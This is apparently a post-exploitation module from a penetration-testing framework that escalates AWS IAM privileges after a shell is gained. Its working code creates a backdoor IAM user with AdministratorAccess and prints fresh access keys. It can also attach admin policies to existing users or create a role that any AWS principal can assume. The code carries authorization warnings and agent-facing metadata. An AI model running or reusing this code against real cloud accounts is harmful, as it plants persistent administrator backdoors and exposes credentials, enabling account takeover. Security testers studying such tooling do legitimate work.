IAM Privilege Escalation

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
AWS IAM Privilege Escalation Module
Author: KittySploit Team
Version: 1.0.0

This module attempts to escalate IAM privileges by creating new users/roles or modifying existing ones.
WARNING: This is for authorized penetration testing only.
"""

from kittysploit import *
import json
from core.output_handler import print_info, print_success, print_error, print_warning

class Module(Post):
    """Attempt IAM privilege escalation"""
    
    __info__ = {
        "name": "IAM Privilege Escalation",
        "description": "Attempt to escalate IAM privileges by creating privileged users/roles",
        "author": "KittySploit Team",
        "version": "1.0.0",
        "session_type": SessionType.AWS,
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': ['rce', 'shell', 'file_read'],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [],
         'consumes_capabilities': ['shell'],
         'option_bindings': {},
         'suggested_followups': []},
    },
    }
    
    method = OptChoice("create_user", "Escalation method", False, ["create_user", "attach_policy", "create_role"])
    username = OptString("kittysploit_backdoor", "Username for new user (if method=create_user)", False)
    role_name = OptString("kittysploit_backdoor_role", "Role name for new role (if method=create_role)", False)
    policy_arn = OptString("arn:aws:iam::aws:policy/AdministratorAccess", "Policy ARN to attach", False)
    target_user = OptString("", "Target user to attach policy to (if method=attach_policy)", False)
    create_access_key = OptBool(True, "Create access keys for new user", False)
    output_file = OptString("", "Output file to save credentials (JSON format)", False)
    
    def run(self):
        """Run the privilege escalation"""
        try:
            print_warning("⚠️  WARNING: This module attempts privilege escalation!")
            print_warning("⚠️  Only use on systems you are authorized to test!")
            print_info("=" * 80)
            
            method = self.method
            results = {}
            
            if method == "create_user":
                print_info("\n[1] Attempting to create privileged user...")
                result = self._create_privileged_user()
                if result:
                    results['user_created'] = result
                    print_success(f"User created: {result.get('username')}")
                    
                    if self.create_access_key:
                        print_info("\n[2] Creating access keys...")
                        keys = self._create_access_keys(result.get('username'))
                        if keys:
                            results['access_keys'] = keys
                            print_success("Access keys created!")
                            print_warning("⚠️  SAVE THESE CREDENTIALS:")
                            print_info(f"  Access Key ID: {keys.get('AccessKeyId')}")
                            print_info(f"  Secret Access Key: {keys.get('SecretAccessKey')}")
                else:
                    print_error("Failed to create user (may lack permissions)")
            
            elif method == "attach_policy":
                target = self.target_user
                if not target:
                    print_error("target_user is required for attach_policy method")
                    return False
                
                print_info(f"\n[1] Attempting to attach policy to user: {target}")
                result = self._attach_policy_to_user(target, self.policy_arn)
                if result:
                    results['policy_attached'] = result
                    print_success(f"Policy attached to {target}")
                else:
                    print_error("Failed to attach policy (may lack permissions)")
            
            elif method == "create_role":
                print_info("\n[1] Attempting to create privileged role...")
                result = self._create_privileged_role()
                if result:
                    results['role_created'] = result
                    print_success(f"Role created: {result.get('role_name')}")
                else:
                    print_error("Failed to create role (may lack permissions)")
            
            # Summary
            print_info("\n" + "=" * 80)
            print_info("ESCALATION SUMMARY")
            print_info("=" * 80)
            
            if results:
                print_success("Privilege escalation attempted")
                if results.get('access_keys'):
                    print_warning("⚠️  Access keys created - ensure secure storage!")
            else:
                print_warning("No escalation methods succeeded")
            
            # Save to file if requested
            if self.output_file and results:
                try:
                    with open(self.output_file, 'w') as f:
                        json.dump(results, f, indent=2, default=str)
                    print_success(f"Results saved to {self.output_file}")
                except Exception as e:
                    print_error(f"Failed to save results: {e}")
            
            return True
            
        except Exception as e:
            print_error(f"Error during escalation: {e}")
            import traceback
            traceback.print_exc()
            return False
    
    def _create_privileged_user(self):
        """Create a new user with administrator access"""
        username = self.username
        
        # Create user
        cmd = f"aws iam create-user --user-name {username} 2>&1"
        result = self.cmd_execute(cmd)
        
        if 'error' in result.lower() and 'alreadyexists' not in result.lower():
            return None
        
        # Attach administrator policy
        policy_arn = self.policy_arn
        cmd = f"aws iam attach-user-policy --user-name {username} --policy-arn {policy_arn} 2>&1"
        result = self.cmd_execute(cmd)
        
        if 'error' in result.lower():
            # Try to delete user if policy attachment failed
            self.cmd_execute(f"aws iam delete-user --user-name {username} 2>&1")
            return None
        
        return {'username': username, 'policy_arn': policy_arn}
    
    def _create_access_keys(self, username):
        """Create access keys for a user"""
        cmd = f"aws iam create-access-key --user-name {username} 2>&1"
        result = self.cmd_execute(cmd)
        
        if result:
            try:
                data = json.loads(result)
                access_key = data.get('AccessKey', {})
                return {
                    'AccessKeyId': access_key.get('AccessKeyId'),
                    'SecretAccessKey': access_key.get('SecretAccessKey')
                }
            except:
                pass
        
        # Try Python boto3
        python_cmd = f"""
python3 -c "
import boto3, json
try:
    iam = boto3.client('iam')
    response = iam.create_access_key(UserName='{username}')
    key = response.get('AccessKey', {{}})
    print(json.dumps({{
        'AccessKeyId': key.get('AccessKeyId'),
        'SecretAccessKey': key.get('SecretAccessKey')
    }}))
except Exception as e:
    print('ERROR:', str(e))
" 2>/dev/null
"""
        result = self.cmd_execute(python_cmd)
        if result and 'ERROR' not in result:
            try:
                return json.loads(result)
            except:
                pass
        return None
    
    def _attach_policy_to_user(self, username, policy_arn):
        """Attach a policy to an existing user"""
        cmd = f"aws iam attach-user-policy --user-name {username} --policy-arn {policy_arn} 2>&1"
        result = self.cmd_execute(cmd)
        
        if 'error' in result.lower():
            return None
        
        return {'username': username, 'policy_arn': policy_arn}
    
    def _create_privileged_role(self):
        """Create a privileged role"""
        role_name = self.role_name
        
        # Create trust policy (allow current account to assume)
        trust_policy = {
            "Version": "2012-10-17",
            "Statement": [{
                "Effect": "Allow",
                "Principal": {"AWS": "*"},
                "Action": "sts:AssumeRole"
            }]
        }
        
        trust_policy_json = json.dumps(trust_policy).replace('"', '\\"')
        
        # Create role
        cmd = f'aws iam create-role --role-name {role_name} --assume-role-policy-document "{trust_policy_json}" 2>&1'
        result = self.cmd_execute(cmd)
        
        if 'error' in result.lower() and 'alreadyexists' not in result.lower():
            return None
        
        # Attach administrator policy
        policy_arn = self.policy_arn
        cmd = f"aws iam attach-role-policy --role-name {role_name} --policy-arn {policy_arn} 2>&1"
        result = self.cmd_execute(cmd)
        
        if 'error' in result.lower():
            return None
        
        return {'role_name': role_name, 'policy_arn': policy_arn}